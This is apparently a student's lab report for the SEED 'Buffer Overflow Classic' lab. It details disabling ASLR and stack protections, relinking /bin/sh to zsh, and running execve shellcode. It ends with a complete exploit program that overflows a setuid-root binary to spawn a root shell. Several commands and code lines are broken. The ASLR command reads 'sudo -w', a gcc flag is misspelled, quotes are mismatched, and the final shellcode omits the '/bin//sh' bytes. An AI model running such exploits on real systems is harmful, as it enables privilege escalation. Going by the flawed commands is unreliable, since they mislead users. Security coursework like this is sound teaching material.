

Year and Semester 2018 FALL
Course Number CS-336
Course Title Intro. to Information Assurance
Work Number LA-01
Work Name Buffer Overflows Classic
Work Version Version 1
Long Date Wednesday, 24 October 2018
Author(s) Name(s) Zane Durkin

Abstract

In this article I will be explaining in detail the Tasks I preformed during the SEED security lab.

1 Setting up Lab Environment

In order to preform the classic stack overflow attack, some of the countermeasures will need to be disabled. These countermeasures (listed in sub sections below) are enabled in the Ubuntu operating system, and many others, by default. These security countermeasures are in place to make stack overflow attacks difficult [2].

1.1 Address Space Randomization

Address space Randomization is used to change the starting address of the heap and stack for every run of the program. This security mechanism makes guessing the address of your overflow attack difficult and unpredictable. To make this lab easier, I will disable this using the following command [2].

```
sudo -w kernel.randomize_va_space=0
```

This command will remove the randomization of the starting address for the heap and stack. This makes it much easier to figure out the address I need to use for my exploit, since it will be the same address every time I run my code.

1.2 Non-Executable Stack

By default gcc disables execution of code on the stack. However, since I will be placing my exploit code on the stack, I will need to be able to execute code on the stack for the exploit to work. So to allow for execution of things on the stack I will need to add a flag to gcc when compiling my vulnerable code [2]. To Execute code on the stack, my compile command will look like this [2]:

```
gcc -z execstack -o test test.c
```

And for non-executable stack I can use the following command (although gcc does this by default) [2]:

```
gcc -z nonexecstack -o test test.c
```

1.3 Configuring /bin/sh

For the current version of Ubuntu, the /bin/sh command is a symbolic link to the /bin/dash shell. In this newer version of Ubuntu (version 16.04) the dash shell has a measure that prevents running the program from a user id that is different than the one of the user who initially ran the program. This means it will prevent running it as root, if I am not root already (or any other user).

In order to make the bufferoverflow useful for switching user accounts, I will need a shell that does not prevent running as a Set-uid program. ZSH is a shell that does not have this countermeasure, so it will make a great substitute for the dash shell. To swith the symbolic link of /bin/sh from dash to zsh, I will first need to remove the current symbolic link to dash [2]:

```
sudo rm /bin/sh
```

Now I need to make a new symbolic link from /bin/sh to the zsh shell. This can be done as shown [2]:

```
sudo ln -s /bin/zsh /bin/sh
```

So now that the command /bin/sh will create a zsh shell instead of the dash shell, I will be able to run shell as a set-uid program in my exploit.

2 Task 1

2.1 Running Shellcode

Before I jump into running the attack, I first need to understand how the exploit code works, and what it will look like when in assembly code. To do this I will write the exploit code as a C program, and then compile and run it to see how it works. When I compile the following code, I will be able to use that assembly code in my exploit later on [2].

```
#include <stdio.h>
int main() {
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}
```

I can take the assembly of the previous code (after it has been compiled) and place the assembly in a buffer of a new program. The assembly of the original shell code program above is much different than the assembly that is in the given `call_shellcode` program from the lab. This is most likely due to the changes in gcc since the release of this lab. To test the assembly code of the above program, I can create a program "call_shellcode" which will simulate an actual attack. I can place the assembly code of the previous program into a buffer in a new program. This new program will execute the code stored in a buffer by referencing to the buffer's location in memory as a function. Since the buffer is filled with executable hex code, the program will continue to execute the hex code as if it were a normal program [2]. The new program will look like this:

```
/* call_shellcode.c */
/* A program that launches a shell using shellcode */
// in order to run the execve system function in the assembly code, I need to include it in these←
libraries
#include <stdlib.h>
#include <stdio.h>
// the string library will help with holding the assembly code in a character array
#include <string.h>
const char code[] =
    // xor a register with it's self to clear it
    "\x31\xc0" /* Line 1: xorl %eax,%eax */
    // push the null value to the stack
    "\x50" /* Line 2: pushl %eax */
    // push the value "//sh" to the stack, double // is used to make 32 bit number
    "\x68" "//sh" /* Line 3: pushl $0x68732f2f */
    // push the value "/bin" to the stack
    "\x68" "/bin" /* Line 4: pushl $0x6e69622f */
    // copy location of the name[ 0 ] parameter to register ebx
```

```

"\x89\xe3" /* Line 5:  movl    %esp,%ebx    */
// push another null value to the stack
"\x50"     /* Line 6:  pushl    %eax      */
// push the ebx register to the stack
"\x53"     /* Line 7:  pushl    %ebx      */
// copy location of name parameter to register ecx
"\x89\xe1" /* Line 8:  movl    %esp,%ecx    */
// sets edx to zero.
"\x99"     /* Line 9:  cdq      */
// copy the value of register al to 11
"\xb0\x0b" /* Line 10: movb    $0x0b,%al    */
// create an interrupt and execute code at location 0x80 (execve command)
"\xcd\x80" /* Line 11: int     $0x80      */
;
int main(int argc, char **argv)
{
    // create a buffer to hold the assembly code
    char buf[sizeof(code)];
    // copy the code into the buffer
    strcpy(buf, code);
    // call the assembly code in the buffer as-if it were a function.
    ((void(*)())buf)();
}

```

[2] [1]

To test this program I will first need to compile it with the ability to execute code on the stack (as explained above):

```
gcc -z execstack -o call_shellcode call_shellcode.c
```

After compiling the program, It can be executed by running

```
./call_shellcode
```

Running this program results in a new shell being created. The new shell is executed as the seed user, which is the user that ran the program. By receiving a shell from the program, I know that the assembly code works and that I am able to execute code that is placed on the stack

When running this program as root, the new shell is created with the root's permissions.

```
sudo ./call_shellcode
```

This command returns a shell which is logged in as the user root. This is because I'm running the call_shellcode command as the root user. By adding sudo (super user do) I'm changing my permissions, and thus when I receive the new shell, it has the same permissions.

The assembly in the embedded hex program works by pushing the location and

name of the desired command into two variables, and then it sets a third variable (the parameters) to null. Once these variables are set, the program calls the `execve()` function which executes the desired command.

2.2 Vulnerable Program

Now that I have seen how a buffer can be filled with a hex value, which can then be executed, it's time to attempt this this attack on a vulnerable program. The vulnerable program that is given reads in a file (517 bytes) and sets it to a buffer of size 517 bytes. Next the program executes a function which copies the 517 byte array into a 24 byte buffer. This buffer can be overflowed if given enough bytes (more than 24).

```
/* Vulnerable program: stack.c */

// Just as before, These libraries are needed to include the execve system function
#include <stdlib.h>
#include <stdio.h>
// This library contains the vulnerable function strcpy.
// This function will copy a string from one character array to another, and it will only stop ←
// when it sees a null value.
// However, if string it is provided is longer than the destination buffer with no null values to ←
// end it, then the strcpy function will continue copying values from the source buffer into the ←
// destination, even if it overflows the destination buffer.
// If the destination buffer is overflowed, then the strcpy will continue writing the source ←
// values directly onto the stack.
// This is the vulnerability that will be exploited. If the overflow is long enough, it will be ←
// possible to change the return address of the function. And if we place our own assembly code ←
// in the stack, I can set the return address to return to the exploit code.
#include <string.h>
int bof(char *str)
{
    // This is the target buffer that will be overflowed during our exploit
    char buffer[24];
    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);
    // I added this printf function to let me know where I can expect to find the start of the ←
    // stack.
    // I originally planned on finding the location of buffer from gdb, but gdb adds in its own ←
    // acm
    printf("%p\n", buffer);
    return 1;
}
int main(int argc, char **argv)
{
    // This buffer is being filled with the value in badfile. And it is much larger than the ←
    // buffer in bof.
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    // This will read in the exploit code located in badfile, and place it in the str variable. ←
    // later this code will be placed on the stack in the bof function.
    fread(str, sizeof(char), 517, badfile);
```

```
// calling the bof function with a parameter that is a char array of 517 bytes ( much larger ↵
    than the 24 byte buffer in bof)
bof(str);
// If the bof function returns properly, that means I didn't overwrite the return address ↵
    correctly. This will let me know that it returned to the main function.
printf("Returned Properly\n");
return 1;
}
```

[2]

To compile this program, gcc will need to allow execution of the stack and Stack Guard will need to be turned off, which can be done by compiling with the following command [2]:

```
gcc -o stack -z execstack -fno-stack-protector stack.c
```

Next I need to set the owner of the file to be root, so I can later set the file to execute as the regular user[2]. This command must be ran as root inorder to have the permissions to change the owner of the file:

```
sudo chown root stack
```

Now I need to set the permissions of the file to allow anyone in the group or other to read or execute the file (which is needed so I can execute it as the user seed). The 4 at the start of the permissions will tell the file to execute as the regular user, which in this case will be root (which we set in the last command). So, when executing the file, it will be ran as the root user, but I don't need to be root to run the file.

```
sudo chmod 4755 stack
```

[2]

Now I have a vulnerable program that I can execute, and when executed the file will run with the permissions of the root user.

3 Task 2

Now to exploit the vulnerability.

To create the "badfile" I need to fill the file with the hex value of the exploit code,

the address of the exploit code(positioned to overwrite the return address of the bof function), and a nop sled. This could possibly be done with a normal text editor, but can be done much easier with a simple c program. I am given the start to a C program which will generate the exploit file.

```
/* exploit.c */
/* A program that creates a file containing code for launching shell */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x50" /*Line 2: pushl %eax*/
"\x68" //sh" /*Line 3: pushl $0x68732f2f*/
"\x68" /bin" /*Line 4: pushl $0x6e69622f*/
"\x89\xe3" /*Line 5: movl %esp,%ebx*/
"\x50" /*Line 6: pushl %eax*/
"\x53" /*Line 7: pushl %ebx*/
"\x89\xe1" /*Line 8: movl %esp,%ecx*/
"\x99" /*Line 9: cdq*/
"\xb0\xb" /*Line 10: movb $0xb,%al*/
"\xcd\x80" /*Line 11: int $0x80*/
;
void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    /* Initialize buffer with 0x90 (NOP instruction)*/
    memset(&buffer, 0x90, 517);
    /* You need to fill the buffer with appropriate contents here*/
    /*... Put your code here ...*/
    /*Save the contents to the file "badfile"*/
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
```

[2]

To make the exploit work I will need to set the program to: generate a number of NOP commands (to create a nop sled), place the exploit code, and then it must overwrite the location of the return address in the stack to execute the buffer as normal code.

To find the location of the buffer in the stack program, I first tried to find the location using GDB. To find the location in GDB ran the stack program until I reached the bof function (the function with the vulnerability). Next I used the x command in GDB to output the location of the buffer in memory (x &buffer). When running GDB the location of my buffer would be at: 0xbfffeb34

I was unaware that GDB was adding their own assembly code into the program (which is needed for GDB to work properly) and caused the location to be slightly off of where the location is when running outside of gdb. To find the true value of

the buffer location, I placed a printf function in the stack.c program which would output the location of the buffer during run time (this is shown in the stack.c program above). For my stack program, the location of the buffer in the stack during run time outside of GDB is :

0xbfffeb38

Now that I had the location of the buffer in memory, I could work on filling the buffer with enough data to overwrite the return address, which I could then use to run my own exploit code. I started my program with the exploit code being at the start of the array, which led to some difficulties due to the return address being 36 bytes from the start of the buffer in the stack, and the exploit code being longer than that (by only a couple bytes). Since I wrote my code into the buffer before I entered my return address, I was overwriting my code with the return address. This allowed the buffer overflow to execute correctly, but would cause an error in the exploit code since it had been overwritten at the location of the return address. Because of this, when my exploit code would execute, there would be invalid commands where the return address was placed.

After learning that my exploit was too long to be placed before the return address, I was able to adjust my code to move the exploit to behind the return address.

My final exploit code looked as follow:

```
/* exploit.c */
/* A program that creates a file containing code for launching shell */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
    "\x31\xc0" /* Line 1: xorl    %eax,%eax    */
    "\x50"     /* Line 2: pushl   %eax        */
    "\x68"     /* Line 3: pushl   $0x68732f2f */
    "\x68"     /* Line 4: pushl   $0x6e69622f */
    "\x89\xe3" /* Line 5: movl    %esp,%ebx    */
    "\x50"     /* Line 6: pushl   %eax        */
    "\x53"     /* Line 7: pushl   %ebx        */
    "\x89\xe1" /* Line 8: movl    %esp,%ecx    */
    "\x99"     /* Line 9: cdq      */
    "\xb0\x0b" /* Line 10: movb   $0x0b,%al    */
    "\xcd\x80" /* Line 11: int     $0x80       */
;
void main(int argc, char **argv)
{
    int arr_size = 24;           // size of target array. (buffer that will be overflowed)
    int buff_size = 517;        // size of badfile. (should match larger buffer size)
    long buff_loc = 0xbfffeb38; // retrieved from outputting buffer location.
    int gcc_padding = arr_size + 12; //36 - adding 8 to get to return address
    int nop_buff = gcc_padding + 4; //40 - adding 4 nop's after return address, before ↵
    source code
}
```



```

char buffer[buff_size];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction)*/
memset(&buffer, 0x90, 517);

/* Place return location after array */
int source_loc = buff_loc + nop_buff;
buffer[gcc_padding] = (source_loc >> (8*0)) & 0xFF; // get first part of source code ←
location
buffer[gcc_padding+1] = (source_loc >> (8*1)) & 0xFF; // get next more significate byte.
buffer[gcc_padding+2] = (source_loc >> (8*2)) & 0xFF; // ... and so on.
buffer[gcc_padding+3] = (source_loc >> (8*3)) & 0xFF;

/* Copy source code into stack */
/* last byte is null, so it is removed */
strncpy( buffer+nop_buff, shellcode, sizeof(shellcode)-1);

/*Save the contents to the file "badfile"*/
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

```

[2]

After moving the exploit code to below the return address, I was able to fit the whole exploit code without having to overwrite bytes of the code when setting the return address. Now I just needed to match the return address with the address after the return address. I started finding the return address by running the stack program in gdb and then searching for the location of the buffer (x &buffer). After finding this location, and plugging it into my program, I was able to execute the shell in gdb. However, the program wouldn't execute the shell if I ran stack outside of gdb. This was due to gdb placing extra assembly code and causing the addresses to be off. But at least I knew my program was executing correctly. To find the actual address I edited the stack.c program to printf the memory location of the buffer. Then, after plugging this location into my exploit code I was able to successfully run the exploit.

References

- [1] LABS, S. Intel 80x86 assembly language opcodes, 2016.
- [2] WENLIANG DU, S. U. Buffer overflow vulnerability lab, 2016.